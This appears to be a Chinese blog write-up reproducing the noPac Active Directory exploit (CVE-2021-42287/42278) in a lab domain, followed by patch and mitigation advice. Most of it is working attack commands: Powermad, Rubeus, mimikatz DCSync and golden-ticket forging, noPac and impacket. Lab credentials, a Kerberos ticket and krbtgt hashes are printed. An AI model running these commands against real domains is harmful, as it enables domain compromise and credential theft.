CVE-2021-42287/CVE-2021-42278 域内翻身做主人

域渗透

创建时间:2021-12-15 01:11

阅读:

原理
环境
漏洞复现
修复

原理

原理：
创建一个机器用户 xxx 带$ 的，然后这个用户的 sAMAccountName == dc 获取一个DC的票据之后再改回 sAMAccountName == xxx 接着导入票据到本地
参考链接:
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ

环境

yayi.local - windows server 2012(DC) HostName:WIN-5CHMN9C4UES
域内机器:win7
普通用户:jk Hxc123456

漏洞复现

检测能否利用：
默认情况下，它是10，但可以更改，高于0 的任何内容都可以。

Get-DomainObject | findstr ms-ds-machine

最后，我们需要检查默认情况下授予经过身份验证的用户的SeMachineAccountPrivilege

邪法:whoami /user #取出来的ID第4位进行-10  SID:S-1-5-21-2799505025-1944254007-2887416074-500
ConvertFrom-SID S-1-5-11

手动利用:

Powermad
Rubeus

#创建机器用户
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "Eva" -Password $($password) -Domain "yayi.local" -DomainController "WIN-5CHMN9C4UES.YAYI.local" -Verbose

#清除SPN信息
Set-DomainObject "CN=Eva,CN=Computers,DC=yayi,DC=local" -Clear 'serviceprincipalname' -Verbose

#重命名新建机器名为DC机器名
Set-MachineAccountAttribute -MachineAccount "Eva" -Value "WIN-5CHMN9C4UES" -Attribute samaccountname -Verbose

#获取TGT
Rubeus.exe asktgt /user:"WIN-5CHMN9C4UES" /password:"ComputerPassword" /domain:"yayi.local" /dc:"WIN-5CHMN9C4UES.yayi.local" /nowrap

#改回原来的计算机名
Set-MachineAccountAttribute -MachineAccount "Eva" -Value "Eva" -Attribute samaccountname -Verbose

#Request S4U2self（获取票据）
Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WIN-5CHMN9C4UES.yayi.local /self /altservice:LDAP/WIN-5CHMN9C4UES.yayi.local /ptt /ticket:doIFJDCCBSCgAwIBBaEDAgEWooIEODCCBDRhggQwMIIELKADAgEFoQwbCllBWUkuTE9DQUyiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCnlheWkubG9jYWyjggP0MIID8KADAgESoQMCAQKiggPiBIID3o63EAl/yUgDHQmpBMWzqmvewt4GpUMUik4+5+s6gv16FRxloS4LplB1VwDs3iqATa4M5+Toko9kp5jHX9M0vGRekAlWb9VS+N97mEySMMQxAGIFhwV2xI4UAiZxiNLa6W7jGW9M5/z5StTXTcH7WVNOgA3NIxbGO8UWu+Ezk6wbcLKaA/Cm5hh7T2B2i8BrZzbD9uTSGXnJZRRv+HTpiv9+mq8FFPjO99qiu3VvK0XJYW3lKFvKLUVFwQidsUzvI2xD1jbtG6WADp9kbYoi5Tbj6PsWTXoU/rtaaZmIMdAfQgXrTIZob99HdwoKGS0ICNqhy1TGLRIWOgofopOhHlf99wbtVVneVytACl18O0QXnLP+BPePaSfJTXBdcdcQVBgZM1M7z/bQFqlNyCTDS2NQwgak0iDSHv/c0tstbxCqqEA1EQ8X28N1ENx0zgvPA4rOUNaQlBpZv9SSPQEkb0Ca13yHo9INdkZ4637YzGXVYuAXT2/wH2BQ7AVOQvetwlsY7CNJ2p5FcgYEYAwkmqurF/1DTMKJsRkWhstBWqvSXbHRsk0bxrC6uR7qX45rFweg7Q9FLI4t7Iv+pMFJjDUxJXRETaXq7ASHFpWULtmMB2LqTPc+igqUstiZOIAHTYN3xuShCyd1Hq17ISHl3iQOLK1BUhdJVgveaG+RguTvgGQ9Z6IyzqbORrnO6aA9JINoqhvgxTmeBfP7JmY5Ll8xHRMxMsEz+fD66RGAg6HVW4cwAbQLZePxuOBo/oclpsh8HPLuLEi7EKCgerSu/ANkIo2jzk9+RPl4+wABXriaRzn7sl+MRTV0r30jCXe3hwyii9QWw4MSzsRpR7zF2oD2n9yDS7wMjAj8/4YUwySnqyaerVsfqreHEN3CgIf+Fp4ZL8Dm8w1bMQ4msfJUm6+s51E8W7FzOOLXA18SD6Qb9xZOFqor+JapyeqCfJj20ShCGlxBA73srP5AkNbI8OduTP52GcvVYmNLT1jJI7LLi0gE4tVjE336H1KHkSukvfK1r2r3E1thiafWjQO1CMn1g8o0HwN3jW6LwdRGuhz2m+ocoq5KE3TxdYxI1vjFqlCKns9FkMWXslw5SytOqYtEicBUPNa17J3d3QadF7l7VYJWtEw6xAeB9F29WTaRaJCL8s7ghh06K27FwxLheIUukdwgOsMpJttkiJtUI+0u97gzQlIkSd2jb8tGdDnpRITi2LTwg1vvpmSvaGMQdZ+Oash27JHktjQwMHArrMM1mjtI1cQUgOdaRZGXpbdh7ThTdJwopaJQYdNsCIJ9poJNOhLXw+IM8m9RyDdxeKOB1zCB1KADAgEAooHMBIHJfYHGMIHDoIHAMIG9MIG6oBswGaADAgEXoRIEELSllXk3Qm2tX3lpkSuPLWShDBsKWUFZSS5MT0NBTKIcMBqgAwIBAaETMBEbD1dJTi01Q0hNTjlDNFVFU6MHAwUAQOEAAKURGA8yMDIxMTIxMjIwNDE0MVqmERgPMjAyMTEyMTMwNjQxNDFapxEYDzIwMjExMjE5MjA0MTQxWqgMGwpZQVlJLkxPQ0FMqR8wHaADAgECoRYwFBsGa3JidGd0Gwp5YXlpLmxvY2Fs

#DCSync (DCSync krbtgt hash伪造黄金票据等选择)
lsadump::dcsync /user:yayi\krbtgt

票据检查:

nopac:
https://github.com/cube0x0/noPac

noPac.exe -dc WIN-5CHMN9C4UES.YAYI.local -mAccount evilpc -mPassword 123.com /service ldap /ptt
Mimikatz "lsadump::dcsync /user:yayi\krbtgt"


92b27a8d7877a2e27cf095e9c136b3c3
90e9162d9af8c9cabf46f2541931b13fffa2a2de964980d44a3ad73e3771ff36


mimikatz "kerberos::golden /domain:yayi.local /sid:S-1-5-21-2799505025-1944254007-2887416074 /aes256:90e9162d9af8c9cabf46f2541931b13fffa2a2de964980d44a3ad73e3771ff36 /user:sb /ptt" exit

impacket复现，没成功

python3 addcomputer.py -computer-name fakename -computer-pass 'Passw0rd!' -dc-ip 192.168.93.136 -dc-host WIN-5CHMN9C4UES.yayi.local yayi.local/jk:'Hxc123456'

python3 renameMachine.py yayi.local/jk:'Hxc123456' -dc-ip 192.168.93.136 -current-name 'fakename$' -new-name WIN-5CHMN9C4UES

python3 getTGT.py yayi.local/WIN-5CHMN9C4UES:'Passw0rd!' -dc-ip 192.168.93.136

python3 renameMachine.py yayi.local/jk:'Hxc123456' -dc-ip 192.168.93.136 -current-name 'WIN-5CHMN9C4UES' -new-name fakename$

python3 getST.py -spn cifs/WIN-5CHMN9C4UES.yayi.local -impersonate admin -dc-ip 192.168.93.136 yayi.local/fakename$:passw0rd!

python3 secretsdump.py -k -no-pass WIN-5CHMN9C4UES.yayi.local -just-dc

修复

解决此问题的最佳方法是安装 Microsoft 补丁 ( KB5008602 )，此补丁修复了 PAC 混淆的问题，并修复了由早期 KB5008380 补丁创建的 S4U2self 的此问题。
将机器帐户配额设置为0是阻止低权限用户创建机器帐户的快速而简单的解决方法，另一个相关的解决方法是从SeMachineAccountPrivilege 中删除Authenticated Users并添加域管理员或另一组允许的帐户。
由各种步骤引起的多个事件对于确定执行此攻击的尝试非常有用。确定这些事件的功劳完全归功于Andrew Schwartz，我只是在执行攻击后将我的日志发送给他。

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。